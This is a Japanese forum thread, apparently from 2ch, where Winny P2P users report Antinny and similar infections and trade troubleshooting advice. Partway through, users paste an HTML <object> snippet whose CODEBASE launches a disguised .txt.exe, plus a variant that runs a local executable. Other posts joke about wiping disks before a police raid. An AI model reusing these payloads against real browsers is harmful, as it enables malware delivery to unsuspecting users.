ＡＶＧで調べたら感染ファイルがたくさん出てきました。
一応削除はして、これからＣをリカバリしようと思います。
ただ、ｎｙのファイルをＤに置いていました。
Ｄもフォーマットしたほうがいいですか？
ダウンしたｍpegファイルも全て削除したほうがいいですか？
（スキャンはしました）

http://nyweb.hp.infoseek.co.jp/

>>284
何に感染（というか自分で地雷を踏んだわけだが）したのか
不明な状況で、最高の安全策をとるなら

OSが認識している全ドライブ、およびネットワーク接続されたすべてのマシンのドライブ
を、フォーマットというかパーティションから切り直したほうがいい。スキャンしてOKと
いうのも安心できない。バックドア型トロイをふんずけて、AVGなどで検出されないタイプ
のウイルスを送り込まれてる可能性がある（たとえばHDDのブートセクタへの埋め込みモノなど）

拡張子が.mpg/.mpegのファイルで感染を広げるようなものは、今のところ確認されていないが
それをどこにバックアップするかによる。転送かけた時点で、送り先のデバイスが汚染されるかも

>>282
オンラインスキャン使ってランキング上げていると思われ(w
メリケンサイトとランキングが違っていて楽しい

【使用OS】WinowXP SP2
【WindowsUpdateしてるか】はい
【スキャンした結果】はい
【オンラインスキャンしたならその結果は】Dd8.exeとTROJ_RBLAST.DLL発見
【AntiVirusは】今回の一件でしました
【ちゃんとUpdateしてるか】はい
【Winnyのﾊﾞｰｼﾞｮﾝ】2.0b7.1
【Winny歴、総DL量は】長い
【テンプレを読んだか】はい
【テンプレにある対策を実行したか】はい
【症状か具体的に、分かる限りすべて書く】左クリックでフォルダを開けなくなった。

フォるダの上で左クリックすると、検索画面が出てしまう。
右クリックをしてみたら、『開く』ではなく『検索』が黒い太文字で一番上に存在し、
検索画面を開くことが最優先のアクションになっていた。

フォルダオプションの『ファイルの種類』を見たところ、フォルダを設定する欄が二つ、
同じフォルダのアイコンで『フォルダファイル』と『フォルダ』が存在していた。

『フォルダファイル』の詳細設定を見ると、動作の欄に『find』とのみが書かれていた。
これのせいだと思います。
しかし、この『フォルダファイル』をが消すことができません。『削除』のボタンが押せなくなっています。

とりあえず、『フォルダファイル』に『開く』の動作を新規で作って対応しているのですが、
フォルダオプションで設定していないにもかかわらず、新しいウィンドウを開いてしまうし…。

この、『ファイルの種類』から『フォルダ ファイル』を消す方法はありますか？

【何をしたらそんなことになったのか】寝ぼけて、間違えてフォルダアイコンのexeファイルを
クリックしてしまった。
【これまでにとった措置】ウイルスの削除をして感染の拡大の防止

すみません。上は『フォルダ ファイル』ではなく『ファイル フォルダ』でした。間違えました。

でも、他の拡張子(なし)の欄と同様で、削除のボタンがグレーになり消せません。
詳細設定で、『同じウィンドウで開く』の欄はグレーになり選択できなくなっていますし…。

他にどんな症状が出るかﾜｶﾗﾝ
大人しくデータのバックアップを取ってからOSの再インストールをしろ
パソコンの大掃除だと思って諦めろ

そうですね。レジストリをいじられただけだとは思うのですが、
他に何か悪さをしていないとは限りませんか…。

年末の大掃除だと思って再インスコしてきます。
ウイルスの悪さが、ちょっとした精神的な嫌がらせなので余計にショックです。

>>288
[ファイル フォルダ]はシステムだから消せないんでは？
ウチでもここにfindあるし。(win2000)

openとexploreは[フォルダ]に入ってる

葱でプロトコルその他って何のことですか？
OS再インスコしてもなんやらわけのわからん接続があるので
串代わりに使われてるかも・・・
助けて!!

>>293
おまいのIPが踏み台推奨でアングラに出回ってるんだろ。
常時接続してるなら、割り振りが変わるまでモデム電源落とせ。

やっぱり？
プロバイダーに電話して
変えてもらえない？
変わるのにどのくらいかかる？

>>295
年末年始だからな
1/4辺りの仕事始めに受け付けて、それから通常の処理日数後だろーね

>295
光かADSLか知らんが、ONUあるいはADSLモデムの電源落とすなり、
再接続するなりして、アドレス再取得しろよ。俺の環境ならIPアドレス
かえるぐらい5秒でできるぞ。どうせならfusianasanしてみたらどうだ？

C:\ファイルがふっとんだんだがこれってｎｙが原因？
めっちゃやる気なくなったんだが。PCは問題ない。

>>298
詳しくはよくわかんないけど多分おまえが原因。

レスサンクス
>>296
YAHOOなんだがテクニカルサポートは年中無休らしい
知り合いの先輩もトロイが来まくり
その人は初心者でノートンにがんがん引っかかって、
>>297方法も試したけどだめなのでプロバかえた。
俺も変えるしかないかなあ、アドレス再取得できないよ。
10時間ぐらい放置を何回してもだめ。
でもｎｙ起動しないとなんもなんないのよ。

ね、IDも変わらないでしょ。

>>300
YBBなら、はじめに書いてくれると、いろいろ助言もできたのだが。ちなみにYBBだと、ADSLモデム側
のMACアドレスで半固定的にIPアドレス振ってるからな（ただ、この話は改善されたらしい）

YBBで、別のIPアドレスにしたかったら、24時間以上、電源切って放置らしいぞ。
（24時間単位で管理更新してるそうだ）よって、48時間放置すると、確実に別の
IPアドレスになるとの情報もあり。ただし、局側で空きIPが足りないと、何度、
強制再接続しても結局は同じIPになるという話もある。

スキルがあるなら
ttp://www.musicae.ath.cx/xdsl/netinfo.html
の後ろのほうに書いてある手法で、強制的にIPアドレスを振るという裏技もある。

結局のところ、YBBなんてさっさとやめるのが得策だな。

もひとつ助言として、ちゃんとしたルータをかませ。

【使用OS】 windows XP SP2
【WindowsUpdateしてるか】 はい
【AntiVirusは】 してます
【ちゃんとUpdateしてるか】はい
【スキャンした結果】
「W32.Antinny.Q ｳｨﾙｽに感染しています｡このﾌｧｲﾙを修復できません｡」
や、「W32.Antinny.K ｳｨﾙｽに感染しています｡ﾌｧｲﾙへのｱｸｾｽが拒否されました｡」と出ます。
【Winnyのﾊﾞｰｼﾞｮﾝ】 2.0b7.0
【Winny歴、総DL量は】 長い
【テンプレを読んだか】 はい
【テンプレにある対策を実行したか】はい
【症状か具体的に、分かる限りすべて書く】 .exeファイルは開いていません。
症状は特にありませんが気持ち悪いので。
【何をしたらそんなことになったのか】 ダウンロードしたzipファイルを解凍したら
【これまでにとった措置】
まとめサイトやテンプレを読み、できる限り対処はしたのですが、不安です。
(win.iniのぬるぽを削除したり。)
今年でwinnyをもうやめようと思うので、いい機会だと思い、winnyをフォルダごと
削除（落としたファイルも）しました。

.exeを開いたりしていないのですが、解凍しただけでノートンが反応しました。
これは何なのでしょうか？
落としたファイルは削除したのですが、これでもう大丈夫なのでしょうか？
すみませんがどなたか教えてください。

＞解凍しただけでノートンが反応
オートプロテクトとかじゃない？

>>304
ワクチンが良い仕事をしてたなら無問題と言いたいところだが、
win.iniがぬるぽってたなら、既に感染してたってことだな。

落としたワクチンで防御してるなんて間抜けなことでもやらな
い限り、普通はワクチンインスコ時にわかるもんだが。

>>306
win.iniのぬるぽはまだnortonのupdateとかしてなかった去年あたりに.exe開いたことがあって
（あの眼鏡の写真のやつに）感染したままだったみたいでそのときのやつかもしれない
のですが・・・。そのときも落としたファイルを削除しました。
それから最近までnyを離れてて最近また少しやりだしました。
>>305の通りノートンのオートプロテクトで最近のやつには感染してないって考えても
いいのでしょうか？

>>302
サンクス。
とりあえずちょうど正月だし放置してみるよ。
その前に勉強かねてリンク先も読んでみるよ。

>>YBBなんてさっさとやめるのが得策
そうかもね。プロバはどこがいいかなぁ。

ルーターなんてカタログ見ても素通りしてたけど
必要なのね。これもお勧めとかある？

>>308
＞ルーターなんてカタログ見ても素通りしてたけど
必要なのね。これもお勧めとかある？
スレ違い。ここはワームウイルス情報スレだ

(o^-')b

あけおめ。本年初トロイをハケーン
W32.Delalot.B.Trojanでした。
ノートン先生ありが�d

ことよろ。
Delalotがくっついてたファイル名も晒してくれるとありがたい。

あ〜　やられた。
ワードやエクセルファイルがぬるぽに。
ちきしょう。　早期復活させてやるぜ。

ウイルスバスター、新年そうそう捕獲乙

ウイルスバスター　シリアル使えなくなったよ・・・(´・ω・`)ショボーン

俺は半月前から使えなかったけど

新年早々、100Ｇ消えちゃったよ( ﾟ∀ﾟ)ｱﾊﾊ八八ﾉヽﾉヽﾉヽﾉ ＼ / ＼/ ＼

ノートン先生新年早々更新ご苦労様です。

セキュリティ板から誘導されてきました

ウイルスバスター（2004,2005）ともに
起動してるとネットに接続できません

XpをSP2にアップすると
ウイルスバスターを切ってもネットに接続できなくなります

アダルトサイト被害対策の部屋 を参考に調べると
ｓｐｙｂｏｔに引っかかる

Windows Ad Tools
n-Case

が削除できません
再起動、セーフモード後にスキャンしても削除した直後に再活動している模様

【使用OS】 　　　　　　　　　　　　　　　　　　　　　　　　　　win xp sp1
【WindowsUpdateしてるか】 してました。sp2だけは、避けていますが
【AntiVirusは何を使っているか】 　　　　　　　　　　　　　ｳｲﾙｽﾊﾞｽﾀｰ2005
【ちゃんとUpdateしてるか】 　　　　　　　　　　　　　　　　　はい
【スキャンした結果（ウイルス名・発見場所）】 　　　　　　何も出ません　　
【別のオンラインスキャンしたならその結果は】
【症状を具体的に、分かる限りすべて書く】 　　　　　　　違法行為はｎｙだけです
【何をしたらそんなことになったのか】
【これまでにとった措置】 　　　　　　　　　　　　　　　　　　アダルトサイト被害対策の部屋のレジストリ関連以外
【その他の質問】

誰に誘導されたのか知らんがny関係ないじゃん

>>319
ここ質問スレじゃないから適当にアドバイス

まず、何に困ってるのか簡潔に書け
ネットに接続できないのか
それとも、Windows Ad Tools 、n-Caseを消したいのか
次に、ここはnyのウィルススレだ
ウィルスバスターのことはセキュスレで聞け

ここからがアドバイス

as-awareも併用しる
あと、SP2導入でネットに繋げないんだったら
導入しなければいいだけ
Windows Ad Tools、n-Caseが削除できないなら
ググって自分で解決方法探せ　おｋ？

>>319
>>【症状を具体的に、分かる限りすべて書く】 　　　　　　　違法行為はｎｙだけです
(´д｀)おいおい

>>316
シリアルによって違うのかな？
12月30日まではアップデート出来たけど。　2005

>>323　12月20くらいれす。
俺なってみんなもそうかな思ったら一部だけだったみたいだけどほぼ完全になったのかな。
だから体験版をバスター1ヶ月マカフィー1ヶ月再インストを考えてる。
nortonでもいいんだけど重くて

>>324

avast! あたりはどうかな・・？フリー版でもけっこうな検出率だが・・

動画ファイルでDivx playerにドラッグしただけで感染するウィルス・トロイってあるのかな？
ドラッグした瞬間に、エクスプローラが落ちてwinnyが数回再起動した…。
その後、マイドキュ開くとアイコンが一瞬消えたりと妙な動作をする事がある
（これは気のせいかもしれんけど）。
ちなみにantivirとバスターのオンラインスキャンでは何も見つからない。
レジストリエディタも正常に立ち上がる。
気のせいか…？？

一応システムの復帰をかまそうとしたら以前の復元ポイントがすべて消えてるし…。
なんか臭いなぁと。

>>326
ファイル名を具体的にあげてみろ。
俺が落として調べてやる。

> その後、マイドキュ開くとアイコンが一瞬消えたりと妙な動作をする事がある
これは、アイコンキャッシュが消費されて書き換わってるだけなので、
ワームやトロイの直接的な影響とは思えない。まぁDivx player側で
メモリリークを起しているなら、ありえるんだが。

症状からしても、Divx playerが理解できない形式のファイル突っ込まれて
メモリ消費して落ちて、explorerとnyも巻き込んだという感じかも

復元ポイントの消去は、どうしてだろーか

即レスサンクスコ。
でも速攻消した上念を入れてキャッシュも全削除しちまったからなあ…。
エロ動画で「色黒の女の子」がなんとかだったと思う。たしか痴漢モノだよ。
んなもん見たからやられたのかもｗ　あ〜あ。

やはり釣りか・・・・

何故キャッシュまで消すんだか･･･

>>325　こういうの教えてくれるよありがたいですた。　テストしてみます。どうもでた。

>>331　キャッシュを消す気持ちは分かるよ。　俺なんかフォーマットしたもんｗ

>>328
なるほど。理解できました。そんなに心配せんでもいいのかな？　
ありがとうございました。
>>330　いや、釣りじゃなくてマジｗ
>>331　やっぱしびびるよねｗ　余裕がなくてｗを多用するぐらいびびってますｗ

>>312
＞Delalot
コミックの島本・吼えろでzip(多分偽装と封入)10-12巻辺り。
あとコミックだとネギま、スクラン辺りかな。

流行種その３・その５で
＞■感染ルート
＞・主にエロゲのイメージファイルをマウントした時やSetupを実行した時に感染。
＞・Setup.batやSetup.exeを実行させることで感染。
とあるのですが、
現在わかっている段階で、どのゲームのどのハッシュのものが
ウイルスを含んでいるか、をまとめたリストってあるのでしょうか？

でえたべえす見なさい

>>312　この辺↓かな。
(一般コミック) [木尾士目] げんしけん 第05巻.zip
(一般コミック) [島本和彦] 吼えろペン 第11巻.zip
(一般コミック) [島本和彦] 吼えろペン 第12巻.zip

アンチニーだとtxt.exe混入とかみたいだけど、
Trojan.Whiterはそのものをパッケージしてるんかな。
やっぱサイズでかいね。勉強になりました。

>>336
詳細ｷﾎﾞﾝ

自己解決した。スレ汚し悪い。

>>336
データベースがあるのか…！！！
で、どこにあるんですか？

残念、テンプレのＤＢのURLはしんでます（しかもガイシュツ

年明け早々言いたかないが
ny関連のウイルス被害のほとんどが
感染に気付かないで流してる連中のせいなんだから始末に悪いな

antiny.R　ってのが消せません。
バスター入れて全スキャンしてwinnyフォルダも丸ごと消したんですが定期的にDフォルダの
System Volume Informationってとこに沸きます。レジストリも１個ずつ調べて怪しげなの削除したんですがもう
自力で治す方策を見失いました。何か助言無ければ再インスコします、最後に助けて！

>>343
System Vol(ryの中の何てところ？

>343
「System Volume Information ウィルス」でぐぐってみた？

>>343
さっさとフォーマットし直せ

エロゲー落としてるような連中が感染しようと


　いい気味だな

よくEXEなんて実行できるな、誰が作ったからもわからんのに

検証用のＰＣ買っとけよ

>>347
人のことをとやかく言う前に
おまいはきちんとした日本語を話せるように勉強しなさい。

>345
わかりました。ありがとうございます。

こんなものが出てきました。

<html><head><title></title><object CLASSID='CLSID:03D443D8-7FD2-4F6D-875C-5F278E2F8DC4' CODEBASE='000表紙.txt.exe'>
</object><script>window.location = "./";</script></head><body></body></html>

これ自分でもやってみようとしたことがあるけど、結局CLASSIDがわからなかったから挫折したんだよなぁ。

調べてもわからなかったし、所詮俺がへたれってことか……

この脆弱性（仕様？）classidってなんでもいいんじゃなかったけ？

<object classid="clsid:01234567-89AB-CDEF-0123-456789ABCDEF" codebase="c:\windows\system32\notepad.exe"></object>

スレ違いかも知れないが、少し質問を。
ｎｙで落とした物をノートンアンチウィルスでスキャンしたらスクリプトエラーが出た（詳細は憶えてない）。
で、再度十数分後にスキャンしたら出なかったんだが、こういうことってあります？

>>354
nyを稼動中にスキャンするとなる。
切ってスキャンすればならない。

>>355
ご丁寧にありがとうございました。

血飛沫がでました。
え〜と思い電源消しました。
電源いれてしばらくたつとまた血がそれも少し量が多くなって
でまた消しました。
また電源入れてそしてウイルス感染してるプログラムファイル（jpg)発見。
でも削除できない。血飛沫がでてきた。
また電源けしました。電源入れて、そんでTempの怪しいテキストデータなどを消しました。
なんか、三人娘の画像だったのもありました。
で一応血飛沫はとまりました？いつ起こるかわからないうちに
必要なデータを全部外付けHDDにバックアップしました。（そのHDDもスキャン済み）
で、テキストデータとかみたらやられてないのでよかったです。
テキストデータなどを破壊するのっててっきり血飛沫から始まってる
かとおもったけど違うんですね？画面が真っ赤ぬるぽ文字になったら破壊活動するん
でしょうか？

>>357
お疲れ様でした

そういえば、ぞろ目発動は元旦も含むんだっけか？

>>357
ごちそう様でした

>>357
ｶﾞｯ

>>357
おなかいっぱいです。ｹﾞﾌｯ

>>337
血の量ってどんどん多くなるの(;´Д`)
誰か感染した後どうなるのか見せ場をダイジェストした
動画とか流してくれ。あ、オレは金銭的にも技術的にも無理だから。
そういえば里帰りしたときにdos時代のウイルス辞典見つけて読んだが
あの時代のは面白い画面効果のウィルスが色々あるんだな。

>>357
jpgってﾌﾟﾛｸﾞﾗﾑﾌｧｲﾙだったのか…

ダウンフォルダに落とした覚えの無いファイルがテンコ盛り、ウィルスファイルがテンコ盛り、もうダメポ？

　　　　 /::'-イ 　 　 ／　 //　 l: 　 ヽ　ヽ 　 　 ,ゝﾆ二ヽ　　　　　　　　　 　 　 rrrrr､
　　　　 7７/　 .:　.:/ 　 l//　　|::　 　 ヽ　:', 　 /,ｲ:ﾄ､-'::ｲ　　　　　　　　 　 　 /´　 /
　　　　///　 .:: :::// 　.:l |　　 |:::.　　　::! ::::! ｲ://::!:::｀´ l　　　　　　　　　　／　　 /
　　　 /〈:! / ::| ::/lﾊ　 ::| |　　 |:::|:.　:.　:::::::::l...|:| |::|ヽ!:::　!　　　　　　　 　 / 　 　 /
　 　 /　.:lﾊ .::l|-l十ト､:::ﾄ|:.|　:lﾊ::|:::. ::..:::::::l:::!::ヾjイ　|:::　|　　　　　　　 　 ヽ __ノ´}
.　　/　.::/∧N Yた卞N| N|:.:/_立ト､:､:::::::!:::l:::/|::::! /:::　l　　　　　　　　　　ﾄ--'´|
　 /　.::://:://|　弋ツ　　 ヽ'　 た卞､ll:::::l::ﾊ|:::∧/ !:::::　!　　　　　　　　　 ,{　 　 !ヽ
. 〃 .::://ノr,=ァ　　　　　　　　弋ツﾉﾉ!イく_／　　 l:::::　l　　　　　　　　 ／ |　 　 !　}
〃 .:::/／:::|| l´f､　　　_'　　　　　_ ィ､l::::|ノ,. -､　　|:::::　|　　　　　　　／　 /　　　|-'
!!　:／ｲ::::∧　 ｀`丶　　｀　　　 / }ﾉ j!:l::!｀`ヽ´＿__!::::　|　　 　 　 ／　　　l　　　　l
|／／:l::::/ ﾊ＞―-､｀ト-,--‐ '|| ´ ´l::l::l　　 _}ヽ　 |:::::: |｀`丶､　/　　　　 l　　　　 |
..::/::::::l::/r '´　　　　 ＼,.ゝ-―||＜´l:::!::!´￣　 ｲ__ !::::::.l!　　　 ＼ﾆ_―--'､　 　 　 !
:/ :::::::!::! !　 ,＞‐-､ ／　　　　ヾ､ ｀|::|::|-―-,='　 !|:::::::|:l　　　　　＼｀ヽ､　｀ヽ､　　|
'ヽ::::::|l::トゝ'　　　　 {　 　 ｧ──-ト|::!:::!ﾆ_´　　 / |::!:::::!:',　　　　 　 ＼　｀`　　｀丶l
ﾆ=ヽ:!:l:!::Y´　　　　 ヽ／　　　　　|!l::!!:::!　　　 /　 l::l:l::::!::ﾞ､　　　　　　　　　 丶､　　｀
―--|:,ゝ'　　　　　 /く　　　　　 ノﾉ,!:!ﾞ､:',　　l/ ヽ　l::l::',::ヽ::ヽ　　　　　　　　　 　 ｀`
ﾆ=-‐/　　　　　 ／　/　　　-=´'´/ ヾ､ヽヽ　ヽ　ヽ l::l::ヽ:::::::::ヽ
:::::::::::{　　　_,　'´　　/　　　　　　/　　 }〉 ヽヽ　〉　　ﾞ､ヽ::ヽ:::::::::ヽ
=-‐_'∧　　　　　　 ヽ　　　　　　　 ／/　　＼＼--‐'´ヽヽ::丶､::::::＼‐--------―‐
￣　 　 ｀ ｰ--‐ '´￣ ヽ､＼　　　_,,＞ー―‐'-`-`--‐丶＼:::::::::｀丶､｀丶､

京都府警と北海道警は年末の処分で過去の汚点を清算したつもり
らしいから、そろそろ民間人ﾀｲｰﾎが出てきてもおかしくないかも。

‥‥とそこいら中で言っておけば、ちっとは発病接続が減るかも。
仙台があのままで終了するとは思えないし、今後さらにパワーア
ップしたのが出てきても不思議じゃない。

Winnyを使って著作権を侵害するようなコピーをしたことはない

まぁどうやらWinny使うだけなら問題ないみたいだし

問題ないと言い切れるのは警察の中のひとだけだよ。

>>370
うまい！

次はバックドアとキーロガー付きのような気がする

それよりオラビックリしたぞ、亀仙人のジッちゃんからもらったWinnyってアイテム、
ネットに繋いでおくだけで、いろんなゲームやアプリがタダで手に入るんだ。
ドラゴンボール集めてるよりずっとおもしれぇーぞ！
公開前の映画まで流れてるんだから、ホントたまげたよなぁ〜
いつも落としてばかりじゃ悪いから、オラもファイルをアップするぞ！
まだまだWinny初心者だけど、これからもじゃんじゃんアップするから、
オラにみんなのファイルを分けてくれ！

踏み込まれた瞬間に、HDD破壊すればいいみたいだしね。

普通にバックドア+キーロガだと、踏んでも気付かないだろうね
でも、それだとなぁ。別にnyでなくても、いろいろあるし

キンタマはｎｙ使用者に感染してたが、
ｎｙ使ってない人に無理やりｎｙをインストしてキンタマ状態にするウイルスが出たら恐ろしいな
　

それだったら全く関係ないPCにキャッシュの転送をさせるほうがとっても良いと

踏み込まれてからじゃ、証拠隠滅に問われるぞｗ。おそらく「証拠隠滅の故意なし」で区別するつもりだろうから。

りょうくんの場合は、証拠隠滅の猶予時間が特別に与えられてた
からな（w。

スプリンターセルとかいうゲームやってみ
PCを証拠隠滅してるシーンとかあるから。

そしてそのシーンと同時にHDDをフォーマットするウィルス
ｶﾞｸｶﾞｸﾌﾞﾙﾌﾞﾙ

踏み込まれた瞬間にホワイター発動ってのは？

新種のウイルスが見つかったよ。
これは・・マジでやばいわ　仕掛けの立ちが悪いけど、画像もグロいし
気おつけて・・・・・。

熊ーAA(略

　☆補足
　　「ファイル名を指定して実行」で「c:\windows\win.ini」をあける。
　　「ぬるぽ」とはいっていればワームにやられてます。

こいつに感染しました。とりあえずWinnyは切りました。
これからどうすればいいでしょう。

すべての書き込みメディア初期化＆リカバリー実行。

osｸﾘｲﾝｽｺしとけ

工エｴェｪ（´д｀）ｪェｴエ工工
win.ini内を書き換えるだけじゃだめですか？
ぬるぽウィルスにみられるような、Upフォルダも生成されてないし、
ノートン先生にもまったくなにもひっかからないし、
もちろんexeを踏んだこともないんですが。
exeで検索してみても、偽装ファイルは見つかりませんでした。

>>387
ﾃﾝﾌﾟﾚまとめ　ttp://www.geocities.jp/kemkzuenc/Antinny.html
Antinny対策サイト ttp://nyweb.hp.infoseek.co.jp/

リカバリがいやなら、これを熟読して完璧に実行しろ。

Down フォルダを開くとメモリがフル稼働になってPCが異常におそくなります。
これって何かのウィルスにやられてますか？

>>389
1を読め、そしてそのファイルがaviなら首をつれ。

【使用OS】　Windows2000sp4
【WindowsUpdateしてるか】　しています
【AntiVirusは】　ウイルスバスター2004
【ちゃんとUpdateしてるか】　しています
【スキャンした結果】　即削除したため憶えてないが、19個くらい感知
【Winnyのﾊﾞｰｼﾞｮﾝ】　Ver2.0β7.1
【Winny歴、総DL量は】　1年位　150GB
【テンプレを読んだか】　読みました
【症状か具体的に、分かる限りすべて書く】
通常は問題なく使用できますが、
ネット接続すると、やたらネットワークウイルスを感知し、
ブルーバックの画面に以下のメッセージが出てきてフリーズ状態になってしまいます。

*** STOP : 0x000000D1 (0xE31D5040,0x00000001,0xDCEDEDB9)
DRIVER_IRQL_NOT_LESS_OR_EQUAL
*** Address BCEDEDB9 base at BCEDA000, DateStamp 3ecd5361 - mrxsmb.sys
Beginning dump of physical memory

【何をしたらそんなことになったのか】　AntiVirusを切断した状態で使用してました・・・。

【これまでにとった措置】　エラーメッセージの意味が分からずどうしたらよいものやら・・・

諦めてOSをクリーンインストールしようと思ってますが、
どの様な症状なのかだけでも知りたくて初心者板にいくか迷いましたが、書きこませていただきました。
どなたかご伝授願います。

AntiVirusのレポート見ればどんなウィルスだったか載ってるだろ？

>>391
D1エラーはドライバ関連のエラー

>mrxsmb.sys
ネットワーク系のドライバですね。

レス有り難うございます。
>>392
レポート見逃してました。
職場からなんで自宅で再確認してみます。

>>393
それでは破損しているドライバを探して
入れ直せば治るということですか？
番地外でしたら失礼します。

>>394
SP4の導入。

ttp://support.microsoft.com/default.aspx?scid=kb;ja;816036


手っ取り早く修復するならSP4アンインスコ。ただ前のSP3アーカイブしてないのなら下のアド参照

ttp://www.microsoft.com/japan/technet/security/bulletin/ms04-044.asp

+技術的な詳細
+脆弱性の詳細
-セキュリティ更新プログラムに関する情報
｜
　+Windows Server 2003
　+Windows XP
　-Windows 2000
|
　ファイルに関する情報
　mrxsmb.sys 5.00.2195.6994 2004/11/01 14:24 409,424


自己責任でヨロ

ttp://www.geocities.jp/guregoriotaka/nyndex.html
晒し

>>396
ふーん、なんでパス指定を手動入力せよ、と記してるのかね？
厨のやることはわからんもんだなぁ

【Autorun+bat】は、なぜ
あまりアンチウイルスソフトは役に立たない。のですか？？？

ぶっちゃけ今も被害続出？なんとかしたほうがいい状態？
WinnyやP2Pが今どれだけ使われているかってのも謎なんだが。

>>398
本当にそんな事も解らんのか？
それとも釣りか？

取り敢えず初心者質問はスレ違いだな

パソコンが起動できなくなりました。
別のPCからカキコしてます。
英語がでています。

英語でやさしく話しかけてあげましょう

>>401
ここには透視のできるひとはいません。
エラー内容を一言一句ミス無しで書いたのと、テンプレを全部埋めて
から来いって感じ。

すみません、外付けのフロッピーのディスクを抜いて、
エンター押したら起動しました。驚きました。
朝からおさわがせしました＾＾；

>>404
論外だな・・・

うさだ萌えでも来ないかな

かんべんしてくれ。

>>404
通報しといた

>>404
お前の家に火をつけてきた
なんか叫び声がしたけど大丈夫だと思う

>>404
もっと勉強しろよ。
今時、珍しいじゃないか。
笑われるの分かっていても報告、謝りに来るし。
気に入った。ガンガレ。

>404
まぁここまで間抜けだと可愛げすらあるな。

うるせーはげ

　　　　　　　　（＼
　　　　　　　　　＼＼
　　　　　　 　　　（＼＼
　　　　 　　　　　　＼＼＼
　　　　 　　　　　　（＼＼＼＼
　　　　 　　　　　　（＼＼＼＼＼
　 　　　　　　　　　　＼＼ ｜｜｜
（￣￣￣￣￣￣￣￣￣＼ ｜ ⊂⊃
　￣￣（￣￣／／／／￣＼　 ∧ ∧　 　 ／￣￣￣￣￣￣￣￣￣￣￣￣￣
　　　　　￣（／／／／￣＼＼( ゜Д゜) ＜　氏ねやカス共　ｺﾞﾙｧ !!
　　　"．;":　　（／（／／／￣（つ　つ 　 ＼＿＿＿＿＿＿＿＿＿＿＿＿＿
"．;":　　　　　　　　　（／（／｜ 　＼＼
　．;"．;":　．．;"．;;:　　（／（（/ ∧｜＼＼　　　　　　　．;"．;":　．．;．;"．;
　　　．;"．;":　．．　　；　　　 ∪　∪　　＼＼　　　　　　　　　．;"．;":　．．;．;"．
．;"．;"　　　　．;"．;　　　　　　　　　　　　 ＼＼
　　　ゴ　オ　ォ　ォ　……　！　！　　 　　　＼＼　　　;":　．．;．;"．;":
　　　　　　　　　　．;"．;":　＿．;．;__　　　　　 　＼＼　　　ド　カ　ァ　ン　！
　．;"．;":　．．;．;"．;　ζ /＿．;＿/|　．;>>404＿　＼＼　　．;"．;．;"．;":
．;"．;":　．．;．;"．;":　;:'．;| ΓΓ |　|;":从へ＿/|　　＼＼．;"．;"＿．;_＿．．:
从へ从へへ从　　;　ζ 　| Γ从 |　|;:..　|从Γ | |　　　 ＼＼　∠＿＿_／|
　　　 （　⌒（　⌒　）　ζ　| 从Γ |　|.:;.　|从Γζ．;"．＿ ＼＼|ΓΓΓ|　|
（　　　⌒　⌒　　⌒　）;　　| ΓΓ | |．;;::|ΓΓ | |　　（　从へ;: |从ΓΓ|　|
　Σ（　⌒（　⌒　）　ζ　　（　（　）　）⌒　）　（　从へ从）_．;;:．;|Γ从Γ|　|
　（　（（　（　⌒　））　）　　从　Σ（　⌒（　　从へ从）　∠＿＿_／|
Σ　（（　（　⌒　））　）　）（（　⌒　（　从へ从）　．;"．;:;|ΓΓΓ|　|
　（（　⌒　（　（　）　）⌒　）;:;　　　．;"．;":　．．;．;"．;":|从ΓΓ|　|

>>408
通報しました

ZIP等で固められたファイルはほとんど.exe付きだわ…。

LZHのほうが圧倒的に.exe率高い
（まぁ画像ダウンしているアホにしか分からないか・・・）

　

日本国またはアメリカ合衆国、もしくはその両方の著作権法に触れる内容であると疑われることから表示できません。

>>417
やりだしたら限が無い
他所でやれ

>>417
スレタイトルを百万回音読してこい。

nyやってる友人から、画面にドクロマークが表示されてネットにつながらなくなったと言われたんですがこんなウイルス
ありますかね？　
普通に起動はするんですが。

ドクロストーンの入手に失敗したんだと思う。

おしおきだべ〜〜〜〜〜ｗ

また友人の話か！

>>423
419はネットに書き込んでるんだから、友人であってる

サブ機を持ってるとか携帯からとか、友人を語ってもいくらでも
書き込める。まあなんにせよ、自業自得だから初期化リカバリし
ておけって感じ。

ドクロのウイルスってこれか？
http://www.sophos.co.jp/images/viruses/phantom1.gif

ウイルス
Phantom 1
これ、Winnyでかかるのか？めずらしいな。

これか？じゃねーよ

Windows Media Playerアイコンのｅｘｅファイル踏んでもうた。
C:\Program Files\messenger\tempに壊れたmp3ファイルを作り実行しWMPはエラー表示。
ネットは切ってたから良かった。

C:\Program Files\messenger\　に
messenger_autorun.exe
作られてmessenger_autorun.exeがrunに新しく登録されていた。
レジストリを前日バックアップに復帰させやばそうなファイルは削除。
トレンドマイクロでウィルスチェックしたらWORM_ANTINNY.Cとなってたんだが、
WORM_ANTINNY.C説明にはｔｘｔを実行って書いてあったから、亜種かな？

トレンドのWORM_ANTINNY.Cとは明らかに挙動が違うが
やってること（ダミーを実行して、裏でワーム活動）は
似てるので、亜種というより変種というべきかな。

OSはXP
ガンダム動画をダウンしたらなぜかRARファイルが・・。
トレンドマイクロのウイルスチェックしたらANTINNY.Aが。
でさっさとRARを消そうとマウスをあわして右クリックして削除
えらぼうとしたとき、クシャミしてまちがって左ダブルクリックしてしまい
「このファイルは壊れています・・」に、なんかCPUの動作の音が、
反射的に電源ボタンずっとおして強制的に電源きった。
でまた起動して、Winny,RARはファイルはすてて、Cドライブをスキャンしたら
無反応、レジストリともみたけど、大丈夫だと思う。大丈夫ですよね？

>>Winny,RARはファイルはすてて
RARファイルをWinnyごと削除したって事です。そのあとCドライブを
スキャンしました。
サービスパック２はインストール済み。

>>430-431
RARを何の解凍ツールに関連付けてるのか知らんが、
ダブルクリックしたのが本当にRAR圧縮のファイルで、
それがメッセージの通り解凍ツールで破損と判断されて
解凍できなかったなら感染以前の問題
よって未感染だから大丈夫だと思う

落ち着いて考えて自分で判断するようにして欲しい

何も考えずにこういう書き込みをすると、
「このファイルは壊れています云々」というウィンドウを開いて偽装する亜種が
出てきたりするきっかけになったりする

>>430
あわてて、怪しげなファイルを削除するなんてのは愚の骨頂。
ちゃんとプロセス止めてから、詳細をチェックしないと何されてるか分からん
ANTINNY.Aはいわゆる“ぬるぽ”なんだが、win.iniとかもチェックしたのか？
しかもANTINNY.Aと検出される亜種もいくつかあるから、分からんよ。

日本国またはアメリカ合衆国、もしくはその両方の著作権法に触れる内容であると疑われることから表示できません。

一足遅かったか・・・・orz
あげとこ

＞反射的に電源ボタンずっとおして強制的に電源きった。
こっちのほうが感染するより不味いと思うが。

ラストクリスマス

落としたﾌｧｲﾙが全部破損する…
